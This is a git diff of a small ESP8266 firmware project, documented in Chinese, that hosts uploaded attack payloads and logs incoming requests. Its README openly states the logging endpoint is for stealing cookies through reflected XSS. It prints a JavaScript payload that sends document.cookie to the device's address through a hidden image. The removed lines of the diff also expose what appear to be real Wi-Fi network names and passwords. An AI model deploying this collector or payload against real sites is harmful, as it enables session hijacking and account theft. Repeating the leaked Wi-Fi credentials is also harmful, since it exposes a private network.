diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..2dcf53e --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/hiden/ \ No newline at end of file diff --git a/README b/README new file mode 100644 index 0000000..59c3bd4 --- /dev/null +++ b/README @@ -0,0 +1,62 @@ +# ESP8266-remote-payloads + +### esp8266闪存文件应用 + +详见太极创客 + +### 使用的esp8266模块： + +其他esp8266模块或开发板应该也行，只要有flash和WebServer库即可。 + +![esp8266.jpg](https://i.loli.net/2021/06/08/Vrw95y4LY1kzfAH.jpg) + +![esp8266.jpg](./img/esp8266.jpg) + +### /index.html页面： + +![/index.html](https://i.loli.net/2021/06/08/5CoSbF3MKuztxWl.png) + +![/index.html](./img/index.html.png) + +### /upload.html页面： + +上传的文件将被存储在“/payloads/”根目录下。 + +![upload.html](https://i.loli.net/2021/06/08/mM9sjIRXbLViqdW.png) + +![/upload.html](./img/upload.html.png) + +### /delete.html页面： + +只需要输入文件名如“logs”即可删除“/payloads/”+文件名如“/payloads/logs”文件，文件名不能包含“..”！ + +![/delete.html](https://i.loli.net/2021/06/08/f3bDPRt5yzhEQu2.png) + +![/delete.html](./img/delete.html.png) + +### /list操作： + +列出/payloads/根目录下的所有文件夹和文件。 + +![/list](https://i.loli.net/2021/06/08/t3L1FzMJRN2GAni.png) + +![/list](./img/list.png) + +### /logs操作： + +参数（GET或POST）将会被追加在/payloads/logs文件中，用于反射型XSS漏洞获取Cookie等。 + +xss_reflect.js举例： + +```js +//通过指定的名称'img'创建img元素 +var img = document.createElement('img'); +img.width = 0; +img.height = 0; + +//将img元素的src属性指向脚本文件xss_reflect.php +//将cookie信息的字符串作为URI组件进行编码，然后用ck参数传递 +img.src = 'http://192.168.1.103/logs?cookie='+encodeURIComponent(document.cookie); +//将192.168.1.103换成你esp8266服务器的地址 +``` + diff --git a/img/delete.html.png b/img/delete.html.png new file mode 100644 index 0000000..656de2a Binary files /dev/null and b/img/delete.html.png differ diff --git a/img/esp8266.jpg b/img/esp8266.jpg new file mode 100644 index 0000000..c5cefb2 Binary files /dev/null and b/img/esp8266.jpg differ diff --git a/img/index.html.png b/img/index.html.png new file mode 100644 index 0000000..7a31988 Binary files /dev/null and b/img/index.html.png differ diff --git a/img/list.png b/img/list.png new file mode 100644 index 0000000..82ae783 Binary files /dev/null and b/img/list.png differ diff --git a/img/upload.html.png b/img/upload.html.png new file mode 100644 index 0000000..a08dda5 Binary files /dev/null and b/img/upload.html.png differ diff --git a/data/delete.html b/remote_payloads/data/delete.html similarity index 100% rename from data/delete.html rename to remote_payloads/data/delete.html diff --git a/data/index.html b/remote_payloads/data/index.html similarity index 77% rename from data/index.html rename to remote_payloads/data/index.html index 1bd954e..2ad9508 100755 --- a/data/index.html +++ b/remote_payloads/data/index.html @@ -10,7 +10,7 @@

ESP8266 Remote Payloads

all payloads are in /payloads folder.
- args behind GET request "/logs?" will be stored in /payloads/logs which can be used in XSS-reflection.

+ args in request "/logs" will be stored in /payloads/logs which can be used in XSS-reflection.

click to upload payloads

click to list payloads

click to delete payload

diff --git a/data/payloads/xss_reflect.js b/remote_payloads/data/payloads/xss_reflect.js similarity index 100% rename from data/payloads/xss_reflect.js rename to remote_payloads/data/payloads/xss_reflect.js diff --git a/data/upload.html b/remote_payloads/data/upload.html similarity index 100% rename from data/upload.html rename to remote_payloads/data/upload.html diff --git a/remote_payloads.ino b/remote_payloads/remote_payloads.ino similarity index 98% rename from remote_payloads.ino rename to remote_payloads/remote_payloads.ino index 4669345..8a11747 100644 --- a/remote_payloads.ino +++ b/remote_payloads/remote_payloads.ino @@ -19,8 +19,8 @@ void setup() { //打开串口 Serial.begin(9600); //联网 - wifier.addAP("TP-LINK_885D", "234wqhlthtklzhr"); - wifier.addAP("wangqinghua-AP", "wangqinghua-AP-master"); + wifier.addAP("wifi_1_name", "wifi_1_password"); + wifier.addAP("wifi_2_name", "wifi_2_password"); Serial.print("Connecting to "); int i = 0; while (wifier.run() != WL_CONNECTED) {